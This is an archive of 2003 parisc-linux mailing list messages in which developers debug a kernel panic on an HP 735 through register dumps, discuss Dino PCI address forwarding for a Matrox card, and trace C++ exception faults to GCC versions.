Original-Received: from smtp.monmouth.com (smtp.monmouth.com [209.191.58.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF6284829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Jan 2003 19:31:40 -0700 (MST)
Original-Received: from there (bg-tc-ppp1680.monmouth.com [64.19.130.106])
	by smtp.monmouth.com (8.12.5/8.12.5) with SMTP id h062VT5k090586
	for <parisc-linux@lists.parisc-linux.org>; Sun, 5 Jan 2003 21:31:30 -0500 (EST)
X-Mailer: KMail [version 1.3.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17266

When I extract large tar files on my 735/99 (tar --numeric-owner -xzvpf ), 
the kernel panics and I get a core dump.

My kernel is: Linux version 2.4.20-pa18 (root@grumpy) (gcc version 3.0.4) #22 
Fri Dec 27 21:25:37 EST 2002

I saved a capture from minicom and have not upgraded the kernel since. I can 
mail the capture and my System.map separately.

If a new kernel or different version of gcc is needed, please let me know.



From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] kernel panic when extracting large tar files
Date: Mon, 6 Jan 2003 10:02:56 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3E0085D000001E20@ocpmta5.freegates.net>
References: <200301060231.h062VT5k090586@smtp.monmouth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622074 19401 80.91.229.3 (22 Nov 2014 02:07:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:54 +0000 (UTC)
To: "Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  6 02:03:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id E16FB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Jan 2003 02:03:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18VTA4-0003Im-00; Mon, 06 Jan 2003 10:03:08 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 6 Jan 2003 10:02:56 +0100
In-Reply-To: <200301060231.h062VT5k090586@smtp.monmouth.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17267

>
>When I extract large tar files on my 735/99 (tar --numeric-owner -xzvpf
),
>
>the kernel panics and I get a core dump.

Interesting, can you explain me how do you grab this coredump?

>
>My kernel is: Linux version 2.4.20-pa18 (root@grumpy) (gcc version 3.0.4=
)
>#22 
>Fri Dec 27 21:25:37 EST 2002
>
>I saved a capture from minicom and have not upgraded the kernel since.

Firstly the minicom capture, would already tell more :)

Greetings,
    Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Mon, 6 Jan 2003 13:15:35 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030106131535.V19239@parcelfarce.linux.theplanet.co.uk>
References: <200301060231.h062VT5k090586@smtp.monmouth.com> <3E0085D000001E20@ocpmta5.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622074 19404 80.91.229.3 (22 Nov 2014 02:07:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:54 +0000 (UTC)
Cc: "Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  6 06:15:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE19B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Jan 2003 06:15:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18VX6N-0006tC-00; Mon, 06 Jan 2003 13:15:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E0085D000001E20@ocpmta5.freegates.net>; from jsoe0708@tiscali.be on Mon, Jan 06, 2003 at 10:02:56AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17268

On Mon, Jan 06, 2003 at 10:02:56AM +0100, jsoe0708@tiscali.be wrote:
> 
> >
> >When I extract large tar files on my 735/99 (tar --numeric-owner -xzvpf
> ),
> >
> >the kernel panics and I get a core dump.

FAQ #17

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Matrox Millenium II in C240
Date: Mon, 6 Jan 2003 10:00:59 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20030106170059.GE9947@dsl2.external.hp.com>
References: <20030102123856.GD871@portablue.intern.mind.be> <20030103051715.GA14565@dsl2.external.hp.com> <20030105131037.E19239@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622074 19405 80.91.229.3 (22 Nov 2014 02:07:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:54 +0000 (UTC)
Cc: Peter 'p2' De Schrijver <p2@mind.be>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  6 10:01:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 6CB5E4829; Mon,  6 Jan 2003 10:00:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030105131037.E19239@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17269

On Sun, Jan 05, 2003 at 01:10:37PM +0000, Matthew Wilcox wrote:
> Yep.  Thought that was part of the PCI spec, though maybe I'm confused with
> 66MHz.

I think you are. 66Mhz operation requires 3.3v signaling.
AFAIK, both dino and cujo only run at 33Mhz *OR SLOWER* (eg 30Mhz).

However, HP did support only 3.3v for quite a while (at least on paper)
and I'm never quite sure which slots are 5v vs 3.3v.

> > SCSI is accessed that way. tulip driver can be tweaked to use MMIO
> > if you don't have any 100BT GSC (card-mode Dino) cards.
> 
> umm.. I thought cardmode MMIO was working now on B/C/J class machines.
> I think D/K/R still have resource management issues.

I don't recall all the details for card-mode.
My main point was the default is IO port space (CONFIG_TULIP_MMIO).

...
> > It's interesting one device has MMIO at both 0xf2800000
> > and 0xf9000000 since it would imply one PCI controller is supposed
> > to forward the entire range of addresses. But Dino only forwards
> > (any number of) 8MB chunks between 0xf0800000 and 0xff800000 (except
> > the first and last 8MB chunks).
> 
> I think this may well be the problem.  I bet Dino hasn't been programmed
> to forward the 16MB range at f900'0000, and Linux has just found an
> unused bit of address space and allocated it to the Matrox card.

Hmmm. /proc/iomem should tell us which ranges dino/cujo are forwarding.

But looking at dino.c, it's clear the code is not handling multiple
ranges correctly even if firmware did program it right.

        res = &dino_dev->hba.lmmio_space;

lmmio_space needs to be an array.
In HP speak, this is an "unsupported configuration". 

Elroy (lba_pci.c) suffers a similar problem with "directed ranges"
(code currently only handles "distributed ranges"). At some point
I'll get back to working on the lba code since it has a few other
minor oustanding issues as well.

grant


From - Thu Nov 08 21:26:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_IP_ADVANCE_ROUTER?
Date: Mon, 6 Jan 2003 18:35:35 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3E0085D000001FAA@ocpmta5.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622075 19408 80.91.229.3 (22 Nov 2014 02:07:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  6 10:35:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91F034829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Jan 2003 10:35:51 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18VbA9-00082i-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 06 Jan 2003 18:35:45 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 6 Jan 2003 18:35:35 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17270

Hi all,

Does somebody have already tested a pa kernel 2.4.20 configured as 'advan=
ce
router'.
Does it have some chance that it works?

Thanks in advance,
    Joel

PS: This is to configure a b180 as a small gateway-proxy :) and this is
requested in GIpTable?

********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000 Debian 3.0r1 High-Priority Machine Check
Date: Mon, 6 Jan 2003 22:22:58 +0100
Organization: ESIEE
Lines: 27
Approved: news@gmane.org
Message-ID: <20030106222258.2eec3889.varenet@esiee.fr>
References: <20030104193515.19808d5a.varenet@esiee.fr>
	<000001c2b5c2$add00810$a87ba8c0@steve>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622075 19411 80.91.229.3 (22 Nov 2014 02:07:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Steve Cornett" <stevec@bullseye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  6 14:23:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B4084829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Jan 2003 14:23:17 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030106212259.GNAI17267.viefep12-int.chello.at@Bibou>;
          Mon, 6 Jan 2003 22:22:59 +0100
In-Reply-To: <000001c2b5c2$add00810$a87ba8c0@steve>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17271

On Mon, 6 Jan 2003 12:32:05 -0800
"Steve Cornett" <stevec@bullseye.com> wrote:

> Thibaut,
> 
> Thanks for your answer, I was able to install using
> palinux-2.4.20-pa13-PDC-20021211-netinst.iso.
That's good news, and means that b-f on 3.0r1 doesn't suit your HW.
> 
> Now I've a different problem and not sure where to turn.  Whenever I
> compile and run a program that "throw"s an exception, I get "Memory
> fault".  I can't figure out where to report this problem.  The PARISC
> Linux people or the GCC people?
I'd say PARISC for two reasons:
- first, this is quite likely to be a kernel problem, and IIRC exception related stuff is worked on currently,
- secondly, because some of GCC folks are also PARISC m-l readers ;)

FWIW, please read FAQ #17 for kernel error reports.

Anyway, please always CC the m-l on such answer: if I haven't answered to that mail, those fellow pa-ckers would never have known 3.0r1 B-F were responsible for the trouble...

HTH,

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000 Debian 3.0r1 High-Priority Machine Check
Date: Mon, 6 Jan 2003 16:34:03 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200301062134.h06LY3kO021003@hiauly1.hia.nrc.ca>
References: <20030106222258.2eec3889.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622075 19416 80.91.229.3 (22 Nov 2014 02:07:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:55 +0000 (UTC)
Cc: stevec@bullseye.com, parisc-linux@lists.parisc-linux.org
To: varenet@esiee.fr (Thibaut VARENE)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  6 14:34:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09A4E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Jan 2003 14:34:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h06LY4ot021005;
	Mon, 6 Jan 2003 16:34:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h06LY3kO021003;
	Mon, 6 Jan 2003 16:34:03 -0500 (EST)
In-Reply-To: <20030106222258.2eec3889.varenet@esiee.fr> from "Thibaut VARENE" at Jan 6, 2003 10:22:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17272

> > Now I've a different problem and not sure where to turn.  Whenever I
> > compile and run a program that "throw"s an exception, I get "Memory
> > fault".  I can't figure out where to report this problem.  The PARISC
> > Linux people or the GCC people?

You need to build/obtain either the 3.3 or main branch of GCC to obtain
working C++ exception support.  The dwarf2 eh support in debian 3.0.4 and
the GCC 3.2 branch was in development when that code was released and
doesn't work.  I am assuming you mean exception in the C++ sense.

> I'd say PARISC for two reasons:
> - first, this is quite likely to be a kernel problem, and IIRC exception related stuff is worked on currently,
> - secondly, because some of GCC folks are also PARISC m-l readers ;)

The above was not a kernel problem.  It was mainly a problem in creating
the correct eh frame data.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Tue, 7 Jan 2003 08:23:37 +0100
Lines: 134
Approved: news@gmane.org
Message-ID: <3DED9A660000447F@ocpmta3.freegates.net>
References: <200301070054.h070rc5k047346@smtp.monmouth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622076 19419 80.91.229.3 (22 Nov 2014 02:07:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Vlad D. Markov" <markov@monmouth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 00:23:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D22A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 00:23:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Vo5L-0006bB-00; Tue, 07 Jan 2003 08:23:39 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 7 Jan 2003 08:23:37 +0100
In-Reply-To: <200301070054.h070rc5k047346@smtp.monmouth.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17273

Hi,

>-- Original Message --
>From: "Vlad D. Markov" <markov@monmouth.com>
>To: jsoe0708@tiscali.be
>Subject: Re: [parisc-linux] kernel panic when extracting large tar files=

>Date: Mon, 6 Jan 2003 19:52:40 -0500
>
>
>Did not want to send the file to the whole group.
>
You would :-)
>
>On Monday 06 January 2003 04:02 am, you wrote:
>> >When I extract large tar files on my 735/99 (tar --numeric-owner -xzv=
pf
>>
>> ),
>>
>> >the kernel panics and I get a core dump.
>>
>> Interesting, can you explain me how do you grab this coredump?
>>
>> >My kernel is: Linux version 2.4.20-pa18 (root@grumpy) (gcc version 3.=
0.4)
>> >#22
>> >Fri Dec 27 21:25:37 EST 2002
>> >
>> >I saved a capture from minicom and have not upgraded the kernel since=
.
>>
>> Firstly the minicom capture, would already tell more :)
>>
>> Greetings,
>>     Joel
>>

Well I am not an expert but just notice what seems to me the most importa=
nt:
Trap 5 on CPU 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Not tainted
r00-03  00000000 10102800 10155b54 1d7dcf20
r04-07  103f6dd4 1d7dc020 1d7dc000 000000f0
r08-11  00000001 00000400 274bb3c0 00000000
r12-15  2748c5d0 00000001 27603b80 101464a0
r16-19  10130820 1030b10c 00000000 00000001
r20-23  00000000 1d7dcf20 00000000 00000000
r24-27  0000005c 00000000 1d7dcf20 102f6010
r28-31  1d7dcec0 00000e40 2748cac0 10135e14
sr0-3   00000000 00000104 00000000 00000104
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101028a8 101028ac
 IIR: 6ab60038    ISR: 00000000  IOR: 1d7dcf3c
 CPU:        0   CR30: 2748c000 CR31: 103b0000
 ORIG_R28: 103ab810
Trap 5 on CPU 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 102f8cb0 10108064 1d7dcf20
r04-07  103f6dd4 1d7dc020 1d7dc000 000000f0
r08-11  00000001 00000400 274bb3c0 00000000
r12-15  2748c5d0 00000001 27603b80 101464a0
r16-19  2748cac0 1030b10c 00000000 90000000
r20-23  00000000 0000000e 10254110 48809600
r24-27  f0825100 00000016 103f52a0 102f6010
r28-31  00000000 000003de 2748cd00 10105134
sr0-3   00000000 00000104 00000000 00000104
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10108068 1010806c
 IIR: 22643206    ISR: 00000000  IOR: 10309800
 CPU:        0   CR30: 2748c000 CR31: 103b0000
 ORIG_R28: 00000000
...
Trap 5 on CPU 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1030612c 10108064 1d7dcf20
r04-07  103f6dd4 1d7dc020 1d7dc000 000000f0
r08-11  00000001 00000400 274bb3c0 00000000
r12-15  2748c5d0 00000001 27603b80 101464a0
r16-19  274e9100 1030b10c 00000000 90000000
r20-23  00000000 00000001 b0324889 0000dbae
r24-27  00000001 00000064 10306420 102f6010
r28-31  00000000 00000232 274e9340 10125200
sr0-3   00000000 00000104 00000000 00000104
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10108068 1010806c
 IIR: 22643206    ISR: 00000000  IOR: 10309800
 CPU:        0   CR30: 2748c000 CR31: 103b0000
 ORIG_R28: 103bf23f
Trap 5 on CPU 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 1030612c 10108064 1d7dcf20
r04-07  103f6dd4 1d7dc020 1d7dc000 000000f0
r08-11  00000001 00000400 274bb3c0 00000000
r12-15  2748c5d0 00000001 27603b80 101464a0
r16-19  274e9340 1030b10c 00000000 90000000
r20-23  00000000 00000001 b507ebf3 0000dbff
r24-27  00000001 00000064 10306420 102f60=FF

which say that is a trap 5 (ie a LPMC). So, may me am i wrong, but it see=
ms
that there is a hardware problem on this machine?

AFAIK to analyse this kind of problem would be to re-install (may be a te=
mporary
external disk) hp-ux and mainly DIAGTOOLS.

On my own a run 2.4.20-pa18 (2.4.21-pre2-pa18) (compiled with same gcc)
without problem on a b180 and b2k (excepted with PDC on this last).

But again I am not expert so I made ml in CC.

Cheers,
    Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
